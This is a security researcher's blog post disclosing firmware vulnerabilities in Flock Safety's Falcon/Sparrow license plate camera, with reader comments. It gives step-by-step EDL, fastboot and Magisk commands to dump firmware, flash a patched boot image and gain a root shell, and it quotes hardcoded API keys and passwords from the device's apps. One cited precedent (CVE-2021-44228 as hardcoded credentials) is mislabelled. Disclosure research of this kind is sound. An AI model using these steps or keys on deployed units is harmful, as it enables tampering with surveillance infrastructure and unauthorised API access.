Grounded Flight – Device 2: Root Shell on Flock Safety’s Falcon/Sparrow Automated License Plate Reader

All research was performed against a unit I owned and we did not and do not have any intention of disrupting any existing infrastructure. All disclosures are intended for research purposes only, on devices the researcher owns.

Onto the next! In case you missed the previous two posts; where I went over what Flock Safety and what these devices are, and then information and vulnerabilities (and how to get console access) I found in The Raven – Gunshot Detection System you can find them HERE and HERE. Additionally, you can view the next post HERE(Coming 09/19/25).

So The Falcon/Sparrow is the device that I have most exposure too, as they are currently popping up around the country, including where I live. Once you start to look, you’re likely to run into them.

Here’s what it looks like up close:

Turns out it’s running Android (Things) 8.1 on a OpenQ 624A SoM. Although Android Things doesn’t exist anymore, it’s more or less Android. One last thing before delving in; I’m going to include some of the low hanging fruit vulnerabilities I’ve found in the APKs on the device as well in this post, even if they are and can be installed on other devices.

That said, this post is going to go in the following order:

  • Touching on some stuff that I tried
  • Touching on some stuff I ended up doing
  • Vulnerabilities
  • How to get a root shell

Overall this should save you a ton of time (and money) if you end up getting your hands on one of these and want to get root access.

So, there are two variants I’ve ran into (excluding the LTE networks they’re configured/supported). A batch that includes a micro-usb port and one that has the micro-usb unpopulated. Luckily, the vulnerabilities and root shell work on both, just you’ll need to get the SoM’s dev kit or solder on a micro-usb to get it going on the carrier board that doesn’t have the port.

There are some slight other differences, such as I2C holes that are live but I didn’t find any value in that interface:

So I won’t delve any deeper into that in this post.

When you first open it up, you’ll be greeted with a similar view:

For a complete breakdown and other pictures of the Falcon/Sparrow you can check out this link.

To keep it clean and easy to digest, I’m going to go through the rest of this post with the assumption that you’re working off a unit that has all the bits and bobs populated.

So if you notice the 10 unpopulated pads on the SoM itself, it screamed JTAG to me.

I spent a lot of time trying to find instances where these were populated as to see how it’s meant to be interfaced with.

What I ended up doing in this project, along with a project that is pending publication as well, is what I’m coining ‘Flea Market Supply Chain Attack.’ I’ll have more information on that attack vector and it’s risks/impacts in an upcoming post.

For simplicity what I ended up doing was contacting the manufacturer of this SoM and asking for access to the Documents. To be short, they were suspicious but ended up giving me access. That let me confirm my suspicions:

Tracing that back through the documents, it turns out my multimeter was right and they are not connected (who would’ve thought):

So that ended up not being helpful.

After a lot of trial and error, I ended up determining that the dip switch on the carrier board needs to be set to ‘ON’ for the micro-usb port to be active.

So some quick things to go over in regards to the different boot modes possible via the dip switch/buttons/micro usb:

For Fastboot:

1. Dipswitch set to ON (position labeled 2)

2. Hold the right button while booting

3. Wait for red camera light

4. Plug in micro usb

5. Now in fastboot:

fastboot devices

For Recovery:

Can boot into fastboot then:

fastboot recovery reboot

For EDL:

Boot into recovery then:

adb reboot edl

Alternatively, you may be able to get into recovery by holding the left button down while the dip switch is set to on, and fastboot when the dipswitch is set to on while holding both buttons. Additionally, having the dip switch off and holding the right button I’ve had some luck getting it into EDL mode. However, these alternatives may have all been a fluke or because of some other reason as I spent a lot of time a while ago at this point.

Ultimately, either reach out to me and I can parse through my notes further or buy a EDL (sometimes called a flash cable) or make one yourself. LINK

It’ll come in handy not just for this device either, it’s become quite a useful cable.

Anyway, when the device is fully booted normally, you’ll see this the collection of lights below, green, red and blue.

Thankfully Jper (His Website HERE) explained to me why I wasn’t getting a consistent adb connection.

To do this, have the dip switch flipped OFF and let the device boot up completely, then once it’s fully booted, flip the switch to ON and plug in your micro usb.

Regularly fully booted:

Now you can:

adb shell

Simple right? Maybe looking in from the other side.
I ended up purchasing a used Dev Kit for the SoM which although wasn’t anywhere close to full price, wasn’t $20. That gives you a easy way to get into all of these modes, and a ton of interfaces, including a UART interface, but as that isn’t needed, Ill skip it. Feel free to reach out if you want more information about it:

Anyway, although the boot image has some AVB footers, it isn’t actually checked, nor is secure boot so to just access to the file system and device you can just modify the boot args and flash the modified boot image.

1. Dump the boot partition via EDL (I will link the proper firehouse hosted on my GitHub HERE, if you can’t find one for the msm8953):

edl r boot Falcon-ALPR/boot.img --memory=emmc --loader=ALPR_DDR_Firehose.mbn

2. Unpack the boot image via magiskboot:

magiskboot unpack -h boot.img

3. Modify the cmdLine (boot args) to include: ‘init=/bin/sh’

nano header

Modified ‘cmdline’:

cmdline = console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboot.hardware=qcom msm_rtb.filter=0x237 ehci-hcd.park=3 lpm_levels.sleep_disabled=1 loop.max_part=7 androidboot.bootdevice=7824900.sdhci earlycon=msm_hsl_uart,0x78af000 buildvariant=user init=/bin/sh

Repackage, Boot ‘er up and you’ll be root but userspace doesn’t load, so you can use commands like ‘pm’ or ‘scrcpy’ etc.

Unfortunately, the easy wins such as modifying the default.props / init.rc / cmdline to make adbd allow root or disable selinux didn’t work, and there is a way to modify the init binary itself manually to get root, but I just ended up doing it the simpler and more streamlined way, which you can view directly if you scroll up a little from the bottom of this post.

OK before I continue to make this post even more confusing, let’s just cover some of the vulnerabilities I’m disclosing at this time:

Version information:

Cool. Lets look at the ‘printgpt’ output from EDL mode to get a better idea of what we’re working with:

./edl printgpt --memory=emmc --loader=ALPR_DDR_Firehose.mbn

Output:

Qualcomm Sahara / Firehose Client V3.62 (c) B.Kerler 2018-2024.
main - Using loader ALPR-DDR-FIREHOUSE.mbn ...
main - Waiting for the device
main - Device detected :)
main - Mode detected: firehose
Parsing Lun 0:
GPT Table:
-------------
modem:               Offset 0x0000000004000000, Length 0x0000000005400000, Flags 0x1000000000000000, UUID f527920f-afcd-5dbe-e1f2-f2e4c39cd4cf, Type EFI_BASIC_DATA, Active False
fsc:                 Offset 0x000000000c000000, Length 0x0000000000000400, Flags 0x0000000000000000, UUID 8c50e947-b80e-53a3-c369-0b953f3b7f29, Type 0x57b90a16, Active False
ssd:                 Offset 0x000000000c001000, Length 0x0000000000002000, Flags 0x0000000000000000, UUID fb8cffab-8aba-5bbd-ff99-12c33e7b3418, Type 0x2c86e742, Active False
sbl1:                Offset 0x000000000c003000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID cd6dcce1-b647-9e39-731f-818d35ecf5ab, Type 0xdea0ba2c, Active False
sbl1bak:             Offset 0x000000000c083000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID c0131695-4ed7-fad3-315b-05accf7deae3, Type EFI_BASIC_DATA, Active False
rpm:                 Offset 0x000000000c103000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID b7fce08b-41f0-43cd-c658-cddcaa9c7139, Type 0x98df793, Active False
rpmbak:              Offset 0x000000000c183000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID 6283ca2c-74bb-6c0f-eea9-b7c4ce842dd8, Type EFI_BASIC_DATA, Active False
tz:                  Offset 0x000000000c203000, Length 0x0000000000200000, Flags 0x0000000000000000, UUID 64810ce3-2646-9137-12e2-5e58ab7cbb1a, Type 0xa053aa7f, Active False
tzbak:               Offset 0x000000000c403000, Length 0x0000000000200000, Flags 0x0000000000000000, UUID e4a92cf5-4091-e19e-3a94-4771a7c10bd0, Type EFI_BASIC_DATA, Active False
devcfg:              Offset 0x000000000c603000, Length 0x0000000000040000, Flags 0x0000000000000000, UUID fbd68c37-759f-369d-5608-cecfd3d0915d, Type 0xf65d4b16, Active False
devcfgbak:           Offset 0x000000000c643000, Length 0x0000000000040000, Flags 0x0000000000000000, UUID ee31976e-11cb-a01d-30fb-7727e86d4be3, Type 0xf65d4b16, Active False
dsp:                 Offset 0x000000000c683000, Length 0x0000000001000000, Flags 0x0000000000000000, UUID ea34c027-1cfd-a8cd-c408-0540cfc9d3aa, Type EFI_BASIC_DATA, Active False
modemst1:            Offset 0x000000000d683000, Length 0x0000000000180000, Flags 0x0000000000000000, UUID 67d9f72c-573c-c433-f6a2-60140a0bd0b5, Type 0xebbeadaf, Active False
modemst2:            Offset 0x000000000d803000, Length 0x0000000000180000, Flags 0x0000000000000000, UUID 857a36b5-eaaf-cce7-f544-47b8ab0dccc0, Type 0xa288b1f, Active False
DDR:                 Offset 0x0000000010000000, Length 0x0000000000008000, Flags 0x1000000000000000, UUID 048e2ca9-239c-d4f0-9ad0-61114827f3a0, Type 0x20a0c19c, Active False
fsg:                 Offset 0x0000000010008000, Length 0x0000000000180000, Flags 0x1000000000000000, UUID dd6c5f9f-df6c-4d35-222f-67f87b49ceee, Type 0x638ff8e2, Active False
sec:                 Offset 0x0000000010188000, Length 0x0000000000004000, Flags 0x1000000000000000, UUID 3ea6940b-6fad-e143-7de4-11d9d40c0191, Type 0x303e6ac3, Active False
splash:              Offset 0x0000000014000000, Length 0x0000000000b00000, Flags 0x0000000000000000, UUID d7adac6e-b600-c89f-8be9-a585cfd0a72a, Type 0x20117f86, Active False
aboot:               Offset 0x0000000018000000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 10caa82c-744d-56e0-00e4-a46404c8b0d4, Type 0x400ffdcd, Active False
abootbak:            Offset 0x0000000018100000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 203d977d-8366-fde6-bbc5-2e1452977bd0, Type EFI_BASIC_DATA, Active False
boot:                Offset 0x0000000018200000, Length 0x0000000002000000, Flags 0x1000000000000000, UUID ca43fcaa-a514-4dc8-1719-75dab28f5d70, Type 0x20117f86, Active False
recovery:            Offset 0x000000001a200000, Length 0x0000000002000000, Flags 0x1000000000000000, UUID a4b25d23-6e72-dd8a-1d03-aa5054004a96, Type 0x9d72d4e4, Active False
devinfo:             Offset 0x000000001c200000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 9d35bcd7-88a0-3d10-42d1-6b622bfb4de2, Type 0x1b81e7e6, Active False
system:              Offset 0x000000001c300000, Length 0x0000000060000000, Flags 0x1000000000000000, UUID 4589f14c-f50c-42d1-dc52-b2a0b030f119, Type 0x97d7b011, Active False
vendor:              Offset 0x000000007c300000, Length 0x0000000018000000, Flags 0x1000000000000000, UUID db0d4060-9b24-7928-8dcd-c590e6b4c1cd, Type 0x97d7b011, Active False
cache:               Offset 0x0000000098000000, Length 0x0000000004000000, Flags 0x0000000000000000, UUID 4c1a02ce-231a-6c9f-08d1-8bdc8452212d, Type 0x5594c694, Active False
persist:             Offset 0x000000009c000000, Length 0x0000000002000000, Flags 0x0000000000000000, UUID 542a5e6f-b8c2-cc98-77ba-dbe56dc6ff21, Type 0x6c95e238, Active False
misc:                Offset 0x000000009e000000, Length 0x0000000000100000, Flags 0x0000000000000000, UUID c7a3e29c-db8e-f37d-a84f-5d5f0a613ccc, Type 0x82acc91f, Active False
keystore:            Offset 0x000000009e100000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID 044440ea-5b83-536c-7220-534899b002b5, Type 0xde7d4029, Active False
config:              Offset 0x000000009e180000, Length 0x0000000000008000, Flags 0x0000000000000000, UUID 58f879a1-f708-cc6e-0fba-f5ce47ba9682, Type 0x91b72d4d, Active False
oem:                 Offset 0x000000009e188000, Length 0x0000000010000000, Flags 0x0000000000000000, UUID 855b0ccf-2dc0-021d-ad8e-d10214d5bc1e, Type 0x7db6ac55, Active False
limits:              Offset 0x00000000b0000000, Length 0x0000000000008000, Flags 0x1000000000000000, UUID 2e0ebba0-00bb-fa0f-7823-164683f6a4a5, Type 0x10a0c19c, Active False
mota:                Offset 0x00000000b4000000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID 5b190a5f-b7bf-842b-a526-a8b9085a96c0, Type EFI_BASIC_DATA, Active False
dip:                 Offset 0x00000000b4080000, Length 0x0000000000100000, Flags 0x0000000000000000, UUID e45fae81-8ebe-e3d4-0a5c-3c3c84a444a3, Type 0x4114b077, Active False
mdtp:                Offset 0x00000000b4180000, Length 0x0000000002000000, Flags 0x0000000000000000, UUID 013b9d8d-8e76-60b2-17ac-1578cfadde1e, Type 0x3878408a, Active False
syscfg:              Offset 0x00000000b6180000, Length 0x0000000000080000, Flags 0x0000000000000000, UUID d93f25e6-c9c7-e074-6893-5bfd09e73efd, Type 0x98df793, Active False
mcfg:                Offset 0x00000000b6200000, Length 0x0000000000400000, Flags 0x0000000000000000, UUID fb83a1c1-8e67-e979-4407-790254a537e0, Type EFI_BASIC_DATA, Active False
lksecapp:            Offset 0x00000000b8000000, Length 0x0000000000020000, Flags 0x1000000000000000, UUID c2e73d84-5180-5203-08bc-f2af527c7c62, Type 0xa11d2a7c, Active False
lksecappbak:         Offset 0x00000000b8020000, Length 0x0000000000020000, Flags 0x1000000000000000, UUID 4241f249-38dc-fe06-89fa-4ca3a5a0559a, Type 0xa11d2a7c, Active False
cmnlib:              Offset 0x00000000b8040000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 7f267b45-b0d9-24c3-4377-8f168f8e0d77, Type 0x73471795, Active False
cmnlibbak:           Offset 0x00000000b8140000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 6960e10a-2231-22d6-a5f9-6e8f0b6c761e, Type 0x73471795, Active False
cmnlib64:            Offset 0x00000000b8240000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 2dbe9e91-f1ae-0e32-3fa8-000bfe7d5a57, Type 0x8ea64893, Active False
cmnlib64bak:         Offset 0x00000000b8340000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID a676b0e3-d295-8cb7-5b6e-15dd2d82c72c, Type 0x8ea64893, Active False
keymaster:           Offset 0x00000000b8440000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID 5f41ee5f-fc38-7b34-8178-bccc394a0721, Type 0xe8b7cf6e, Active False
keymasterbak:        Offset 0x00000000b8540000, Length 0x0000000000100000, Flags 0x1000000000000000, UUID c4d2ed53-7bab-e637-98f2-044cd6e5c8e8, Type 0xe8b7cf6e, Active False
apdp:                Offset 0x00000000bc000000, Length 0x0000000000040000, Flags 0x0000000000000000, UUID f25dd2a0-aebf-9e3d-3f27-530f6463bb33, Type 0xe6e98da2, Active False
msadp:               Offset 0x00000000bc040000, Length 0x0000000000040000, Flags 0x0000000000000000, UUID b783d75b-5129-cae7-297d-bd0ecda71cf5, Type 0xed9e8101, Active False
dpo:                 Offset 0x00000000bc080000, Length 0x0000000000002000, Flags 0x0000000000000000, UUID aae6fc09-abf2-118e-ac16-5106f5d70091, Type 0x11406f35, Active False
logdump:             Offset 0x00000000bc082000, Length 0x0000000004000000, Flags 0x0000000000000000, UUID 6b70b8b1-6f58-4f4f-9437-520bdc395ba4, Type 0x5af80809, Active False
bootbk:              Offset 0x00000000c4000000, Length 0x0000000002000000, Flags 0x1000000000000000, UUID e48dc13a-53e6-b677-4e7a-dc8d2a133b1e, Type 0x20117f86, Active False
systembk:            Offset 0x00000000c6000000, Length 0x0000000060000000, Flags 0x1000000000000000, UUID 1d30ae32-d5a4-d87b-2385-2eecf3949759, Type 0x97d7b011, Active False
vendorbk:            Offset 0x0000000126000000, Length 0x0000000018000000, Flags 0x1000000000000000, UUID 7fcd1f88-c8a9-1a5d-16cd-c77d4d2e3a9e, Type 0x97d7b011, Active False
media:               Offset 0x0000000140000000, Length 0x0000000480000000, Flags 0x0000000000000000, UUID 56f6a7ca-7a7a-0fc8-eaf4-09de38b07269, Type 0x97d7b011, Active False
userdata:            Offset 0x00000005c0000000, Length 0x0000000187bfbe00, Flags 0x0000000000000000, UUID 42df6018-6d0b-6203-cb2c-fba7e5ad8007, Type 0x1b81e7e6, Active False
Total disk size:0x0000000747c00000, sectors:0x0000000003a3e000

And the ‘getvar all’ output via fastboot:

fastboot getvar all

Output:

└─$ fastboot getvar all
(bootloader) version:0.5
(bootloader) battery-soc-ok:yes
(bootloader) battery-voltage:4120000
(bootloader) variant:Dragon eMMC
(bootloader) unlocked:yes
(bootloader) secure:no
(bootloader) version-baseband:
(bootloader) version-bootloader:
(bootloader) display-panel:
(bootloader) off-mode-charge:0
(bootloader) charger-screen-enabled:0
(bootloader) max-download-size: 0x1fe00000
(bootloader) partition-type:userdata:ext4
(bootloader) partition-size:userdata:    0x187bfbe00
(bootloader) partition-type:media:
(bootloader) partition-size:media:       0x480000000
(bootloader) partition-type:vendorbk:
(bootloader) partition-size:vendorbk:    0x18000000
(bootloader) partition-type:systembk:ext4
(bootloader) partition-size:systembk:    0x60000000
(bootloader) partition-type:bootbk:
(bootloader) partition-size:bootbk:      0x2000000
(bootloader) partition-type:logdump:
(bootloader) partition-size:logdump:     0x4000000
(bootloader) partition-type:dpo:
(bootloader) partition-size:dpo:         0x2000
(bootloader) partition-type:msadp:
(bootloader) partition-size:msadp:       0x40000
(bootloader) partition-type:apdp:
(bootloader) partition-size:apdp:        0x40000
(bootloader) partition-type:keymasterbak:
(bootloader) partition-size:keymasterbak:        0x100000
(bootloader) partition-type:keymaster:
(bootloader) partition-size:keymaster:   0x100000
(bootloader) partition-type:cmnlib64bak:
(bootloader) partition-size:cmnlib64bak:         0x100000
(bootloader) partition-type:cmnlib64:
(bootloader) partition-size:cmnlib64:    0x100000
(bootloader) partition-type:cmnlibbak:
(bootloader) partition-size:cmnlibbak:   0x100000
(bootloader) partition-type:cmnlib:
(bootloader) partition-size:cmnlib:      0x100000
(bootloader) partition-type:lksecappbak:
(bootloader) partition-size:lksecappbak:         0x20000
(bootloader) partition-type:lksecapp:
(bootloader) partition-size:lksecapp:    0x20000
(bootloader) partition-type:mcfg:
(bootloader) partition-size:mcfg:        0x400000
(bootloader) partition-type:syscfg:
(bootloader) partition-size:syscfg:      0x80000
(bootloader) partition-type:mdtp:
(bootloader) partition-size:mdtp:        0x2000000
(bootloader) partition-type:dip:
(bootloader) partition-size:dip:         0x100000
(bootloader) partition-type:mota:
(bootloader) partition-size:mota:        0x80000
^[[C(bootloader) partition-type:limits:
(bootloader) partition-size:limits:      0x8000
(bootloader) partition-type:oem:
(bootloader) partition-size:oem:         0x10000000
(bootloader) partition-type:config:
(bootloader) partition-size:config:      0x8000
(bootloader) partition-type:keystore:
(bootloader) partition-size:keystore:    0x80000
(bootloader) partition-type:misc:
(bootloader) partition-size:misc:        0x100000
(bootloader) partition-type:persist:
(bootloader) partition-size:persist:     0x2000000
(bootloader) partition-type:cache:ext4
(bootloader) partition-size:cache:       0x4000000
(bootloader) partition-type:vendor:
(bootloader) partition-size:vendor:      0x18000000
(bootloader) partition-type:system:ext4
(bootloader) partition-size:system:      0x60000000
(bootloader) partition-type:devinfo:
(bootloader) partition-size:devinfo:     0x100000
(bootloader) partition-type:recovery:
(bootloader) partition-size:recovery:    0x2000000
(bootloader) partition-type:boot:
(bootloader) partition-size:boot:        0x2000000
(bootloader) partition-type:abootbak:
(bootloader) partition-size:abootbak:    0x100000
(bootloader) partition-type:aboot:
(bootloader) partition-size:aboot:       0x100000
(bootloader) partition-type:splash:
(bootloader) partition-size:splash:      0xb00000
(bootloader) partition-type:sec:
(bootloader) partition-size:sec:         0x4000
(bootloader) partition-type:fsg:
(bootloader) partition-size:fsg:         0x180000
(bootloader) partition-type:DDR:
(bootloader) partition-size:DDR:         0x8000
(bootloader) partition-type:modemst2:
(bootloader) partition-size:modemst2:    0x180000
(bootloader) partition-type:modemst1:
(bootloader) partition-size:modemst1:    0x180000
(bootloader) partition-type:dsp:
(bootloader) partition-size:dsp:         0x1000000
(bootloader) partition-type:devcfgbak:
(bootloader) partition-size:devcfgbak:   0x40000
(bootloader) partition-type:devcfg:
(bootloader) partition-size:devcfg:      0x40000
(bootloader) partition-type:tzbak:
(bootloader) partition-size:tzbak:       0x200000
(bootloader) partition-type:tz:
(bootloader) partition-size:tz:  0x200000
(bootloader) partition-type:rpmbak:
(bootloader) partition-size:rpmbak:      0x80000
(bootloader) partition-type:rpm:
(bootloader) partition-size:rpm:         0x80000
(bootloader) partition-type:sbl1bak:
(bootloader) partition-size:sbl1bak:     0x80000
(bootloader) partition-type:sbl1:
(bootloader) partition-size:sbl1:        0x80000
(bootloader) partition-type:ssd:
(bootloader) partition-size:ssd:         0x2000
(bootloader) partition-type:fsc:
(bootloader) partition-size:fsc:         0x400
(bootloader) partition-type:modem:
(bootloader) partition-size:modem:       0x5400000
(bootloader) serialno:313D201072221001Dragon eMMC
(bootloader) kernel:lk
(bootloader) product:OPENQ_624A
all:
Finished. Total time: 1.232s

Vulnerability 1:

Lacks Flash/EMMC encryption – CVE-2025-47824

CWE-1326: Missing Immutable Root of Trust in Hardware

Description: The Lantronix (Intrinsyc) OpenQ 624 system on a module (SoM) that powers the device was found to lack flash encryption. In this instance, it allows an attacker to read its firmware in cleartext

Reproduction Steps:

1. Dump the entire EMMC via EDL mode:

./edl rf alpr_emmc_firmware.bin --memory=emmc --loader=ALPR_DDR_Firehose.mbn

2. Run strings and note the clear text.

3. Alternatively, dump specific partitions, such as system or userdata and note you can unpack it and view it.

debugfs system.img

Then ‘ls’

debugfs 1.47.2 (1-Jan-2025)
debugfs:  ls

Note its contents:

Precedent: CVE-2022-26321 – Lack of encryption in IoT devices

Vulnerability 2:

Secure Boot is Disabled – CVE-2025-47822

CWE-1326: Missing Immutable Root of Trust in Hardware or CWE-347: Improper Verification
of Cryptographic Signature

Description: The Lantronix (Intrinsyc) OpenQ 624 system on a module (SoM) that powers the device was found to lack Secure Boot. In this instance, it allows an attacker to flash modified firmware with no protections.

Reproduction Steps:

1. Boot the device into fastboot by either holding the right button or keeping the right pins low, alternatively ‘adb reboot fastboot’ or similar.

2. The device should now have a solid red light indicating its in ‘fastboot.’

3. Using the following fastboot command, note the values of ‘secure’ indicating that secure boot is disabled.

(bootloader) secure:no

Alternatively you can also confirm secure boot is disabled via EDL:

./edl secureboot --loader=ALPR_DDR_Firehose.mbn

Output:

Qualcomm Sahara / Firehose Client V3.62 (c) B.Kerler 2018-2024.
main - Waiting for the device
main - Using loader ALPR-DDR-FIREHOUSE.mbn ...
main - Device detected :)
main - Mode detected: firehose
Sec_Boot0 PKHash-Index:0 OEM_PKHash: False Auth_Enabled: FalseUse_Serial: False
Sec_Boot1 PKHash-Index:0 OEM_PKHash: False Auth_Enabled: FalseUse_Serial: False
Sec_Boot2 PKHash-Index:0 OEM_PKHash: False Auth_Enabled: FalseUse_Serial: False
Sec_Boot3 PKHash-Index:0 OEM_PKHash: False Auth_Enabled: FalseUse_Serial: False
Secure boot disabled.

Precedent: CVE-2021-27148 – Lack of secure boot in embedded system

Vulnerability 3:

Unlocked Bootloader – CVE-2025-47822

CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface

Description: The device’s bootloader is in an unlocked state, allowing unsigned or modified firmware to be flashed without restriction. This bypasses verified boot mechanisms, enabling potential execution of untrusted code and compromising the system’s secure boot chain.

1. Boot the device into fastboot by either holding the right button or keeping the right pins low, alternatively ‘adb reboot fastboot’ or similar.

2. The device should now have a solid red light indicating its in ‘fastboot.’

3. Using the following fastboot command, note the values of ‘secure’ indicating that secure boot is disabled.

(bootloader) unlocked:yes

One thing to note about this one, is that this is out of the box and nothing covered required me to enable developer options or run ‘fastboot unlock’ or ‘fastboot unlock critical’.

Precedent: Precedent: CVE-2020-12522 – IoT bootloader vulnerabilities allowing unauthorized flashing.

Vulnerability 4:

Lack of Authentication: EDL/QDL Mode – CVE-2025-47822

CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface

Description: The device’s Emergency Download (EDL) mode lacks any form of authentication or access control, allowing arbitrary memory access and firmware flashing. This exposes the device to unauthorized modification, data extraction, and full compromise of the system’s integrity.

Ultimately the random msm8953 firehose’s you can find in a variety of places on the web, or sometimes without a firehose at all, you are able to read and write to the device.

Although I ended up using the ALPR_DDR_Firehose.mbn (Linked HERE) the majority of the time, these devices can and should be configured to only accept a custom signed firehose that isn’t available publicly on the web.

Precedent: https://alephsecurity.com/2018/01/22/qualcomm-edl-1/

Now I’ll just throw some examples of hardcoded credentials found on the device/it’s APKs.

Vulnerability 5(x):

Sensitive Information Disclosed – Files/Binaries/Assemblies – API Keys/Credentials – CVE-2025-47823

CWE-798: Use of Hardcoded Credentials

File: com/flocksafety/android/common/lib/CameraSettings.java
    static {
        CameraSettings cameraSettings = new CameraSettings();
        INSTANCE = cameraSettings;
        defaultCoreValues = new CoreValues("cereal", CoreValues.DEFAULT_API_KEY, "https://dev-gimlet.flocksafety.com/", "https://dev-gimlet.flocksafety.com/", null, "", "", 16, null);
        SETTINGS_URI = Uri.parse("content://com.flocksafety.android.settingsservice.provider/settings");
        CORE_VALUES_URI = Uri.parse("content://com.flocksafety.android.settingsservice.provider/core_values");
        logger = new TimberTagWrapper(cameraSettings.getClass());
    }
    public final String getHpnotiqApiKey() {
        return "HaJ3FgupAm8RrDJW3MHgT9X7Ft27eVaD";
File: com/flocksafety/android/common/lib/model/CoreValues.java
/* loaded from: classes.dex */
public final /* data */ class CoreValues {
    public static final String DEFAULT_API_KEY = "dirtymartini";
    public static final String TABLE_NAME = "core_values";
    private final String authToken;
    private final String mediaInfoUrl;
    private final String partNumber;
    private final String serialNumber;
    private final String statusUrl;
    private final Date updatedAt;
    private final String uploadUrl;
ch/qos/logback/core/net/ssl/SSL.java
/* loaded from: classes.dex */
public interface SSL {
    public static final String DEFAULT_KEYSTORE_PASSWORD = "changeit";
    public static final String DEFAULT_KEYSTORE_TYPE = "JKS";
    public static final String DEFAULT_PROTOCOL = "SSL";
    public static final String DEFAULT_SECURE_RANDOM_ALGORITHM = "SHA1PRNG";
}

Precedent: CVE-2021-44228 – Hardcoded credentials in IoT firmware.

There’s definitely a lot more to explore especially in regards to the APKs so be on the lookout for further posts by me in regards to this!

However, let me go over how to get a root shell on the device!

So, as mentioned the manually modification of init/*.prop/prop.*/Boot Args wasn’t working for me, so I ended up using Magisk! If you’ve dealt with rooting Android devices then you’ve probably heard or used Magisk. This process is not as simple as just ‘adb install magisk.apk’ and opening it and go! And I didn’t go the TWRP/similar route.

Just FYI, if you’re asking why can’t you just install the APK and patch the boot image that way, well likely due to selinux (or maybe the size of /cache) it doesn’t work:

So here is how to get around that:

1. Backup the entire EMMC via EDL:

./edl rf alpr_emmc_firmware.bin --memory=emmc --loader=ALPR_DDR_Firehose.mbn

2. Dump the boot partition:

./edl r boot Falcon-ALPR/boot.img --memory=emmc --loader=ALPR_DDR_Firehose.mbn

3. Reboot out of EDL mode:

./edl reset --loader=ALPR_DDR_Firehose.mbn

4. Download a version of Magisk that is old enough to work in this case, Magisk v23 works perfectly.

wget https://github.com/topjohnwu/Magisk/releases/download/v23.0/Magisk-v23.0.apk

5. Then unzip the APK.

unzip Magisk-v23.0.apk -d magisk23

6. Copy the boot image to the magisk23 directory

cp ALPR/boot.img magisk23/

7. Flip dip switch off on ALPR, reboot and wait for full boot, then flip on and connect micro USB.

8. Now push the magisk23 directory to the ALPR:

adb push magisk23/. /data/local/tmp/

9. Enter a shell on the ALPR:

adb shell

10. Change directory to 32 bit magisk binary directory

cd /data/local/tmp/lib/armeabi-v7a/

11. Copy or move the following binaries, removing the ‘.so’ extension:

cp libbusybox.so /data/local/tmp/assets/busybox
cp libmagisk32.so /data/local/tmp/assets/magisk32 
cp libmagiskboot.so /data/local/tmp/assets/magiskboot
cp libmagiskinit.so /data/local/tmp/assets/magiskinit

12. Now chmod them to be marked as exectuable:

chmod +x busybox
chmod +x magisk32
chmod +x magiskboot
chmod +x magiskinit

13. Now mark the ‘boot_patch.sh’ script that was apart of the Magisk v23 APK as executable:

chmod +x boot_patch.sh

14. Now patch the boot.img:

./boot_patch.sh /data/local/tmp/boot.img

15. Pull the modified boot image:

adb pull /data/local/tmp/new-boot.img /home/user/ALPR/new-boot.img

16. Now put the ALPR into edl mode:

adb reboot edl

17. Flash the modified boot image to the ALPR:

edl w boot /home/user/ALPR/new-boot.img --memory=emmc --loader=ALPR_LOADER.mbn

18. Reboot the device out of EDL mode:

./edl reset --loader=ALPR_LOADER.mbn

19. Flip dip switch off on ALPR, reboot and wait for full boot, then flip on and connect micro USB.

20. Uninstall the half installed version of Magisk that came with the modified boot image. You can use adb uninstall or scrcpy.

21. Now install the full apk:

adb install Magisk-v23.0.apk

22. Use ‘scrcpy’ to mirror the ALPR and open the Magisk app. Within an ‘adb shell’ type ‘su’ and grant forever when prompted in Magisk.

23. Congrats you’re now root. Ofc, ‘whoami’ and then setenforce 0 to set selinux to permissive.

A little taste for what’s to come!

View all my write-ups in regards to my Flock Safety Security Research:

Part 1: Bird Hunting Season – Security Research on Flock Safety’s Anti-Crime Systems: HERE
Part 2: Plucked and Rooted – Device 1: Debug Shell on Flock Safety’s Raven Gunshot Detection System: HERE
Part 3: Grounded Flight – Device 2: Root Shell on Flock Safety’s Falcon/Sparrow Automated License Plate Reader: HERE
Part 4: Trap Shooter – Flock Safety Sniffer & Alarm: HERE
Part 5: Root from the Coop – Device 3: Root Shell on Flock Safety’s Bravo Compute Box: HERE
Part 6: Fly-By – Device 2: The Falcon/Sparrow – Gated Wireless RCE, Camera Feed, DoS, Information Disclosure and More: HERE
Part 7: Button Presses to Wireless RCE: Shell on Flock Safety’s License Plate Cameras Over Wi-Fi: HERE

END TRANSMISSION

6 thoughts on “Grounded Flight – Device 2: Root Shell on Flock Safety’s Falcon/Sparrow Automated License Plate Reader

  1. Pretty disappointed that you would report some of these. Some of these are pretty clear cases of vulnerabilities that have minimal real-world risk, but are very useful for privacy/anti-surveillance researchers.

    1. It’s not something lost on me. Sucks you feel disappointed. Many perspectives make sense imo.

      Not reporting but disclosing may be advantageous not just to researchers but to other entities that would want to leverage these to spy on you via these devices.

      Reporting and disclosing, allows the vulnerabilities to be verified by a trusted source that hopefully enables the message that this devices are lacking elementary protections further out there.

      To me, it’s much more disappointing that with all of the news surrounding this org, no one is talking about these vulnerabilities.

      These aren’t sharing data issues in their cloud infrastructure but systemic issues in the hardware deployments themselves. Which is a much stronger indication of their level of concern in regard to the security posture of their devices.

      As a researcher it isn’t my place to be subjective, hence why I had ChatGPT create the overview of the org in my first post about my flock research.

      Being someone who does offsec and hacking for a living and has a family, as well as growing up seeing researchers arrested, threatened and intimidated, I choose to take the most accepted and least risky path to staying in safe harbor protections.

